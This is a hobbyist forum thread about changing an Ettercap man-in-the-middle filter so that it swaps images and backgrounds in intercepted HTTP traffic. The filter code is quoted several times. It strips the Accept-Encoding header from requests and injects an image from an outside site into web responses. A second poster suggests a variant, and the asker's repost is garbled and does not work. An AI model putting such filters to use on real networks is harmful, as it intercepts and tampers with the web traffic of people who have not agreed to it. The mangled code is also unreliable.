Ettercap filter. how to replace background. trying to mod a other replace filter

[Half-man]

hi. not sure wher to post this. but. 

im playing whith ettercap.  and trying to replace stuff on webpages and so on. 

filter look like this:

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); 
      # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src="http://www.irongeek.com/images/jollypwn.png" ");
   replace("IMG SRC=", "img src="http://www.irongeek.com/images/jollypwn.png" ");
   msg("Filter Ran.n");
}

code from "http://www.irongeek.com/i.php?page=security/ettercapfilter"

but, im trying to mode it to replace the background. if its some one that wil take the time to help me, then thx. 

sry for very bad English..

[digip]

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); 
      # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("background=", "background="http://www.irongeek.com/images/jollypwn.png" ");
    msg("Filter Ran.n");
}

Try that and see what happens.

[Half-man]

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Rubbish!")) {
      replace("Accept-Rubbish!", "Accept-Rubbish!"); 
      # note: replacement string is same length as original string
      msg("zapped Accept-Rubbish!!n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("background="http://www.irongeek.com/images/jollypwn.png" ", "background="http://www.irongeek.com/images/jollypwn.png" "http://www.irongeek.com/images/jollypwn.png" ");
    msg("Filter Ran.n");
}

Try that and see what happens.

i will trye that.. thx (=

edit: hmm..  it' dont work..  i have tryed "Background:"  but.. no..    hmm..

[digip]

Are you using what you pasted as a quote of mine? Its actually different that what I posted. Also, I have enver tried this before, so dont know exactly what it is your doing, but I did notice a comment that said "# note: replacement string is same length as original string" so maybe that has somehting to do with it? If you found it on Irongeek, try sending him a message. He usaully is pretty good with answering his email messages. I have asked him a few things in the past and  he was always helpfull. ;)

[Half-man]

hehe. i see.      then i will send him a mail... and see what s happens.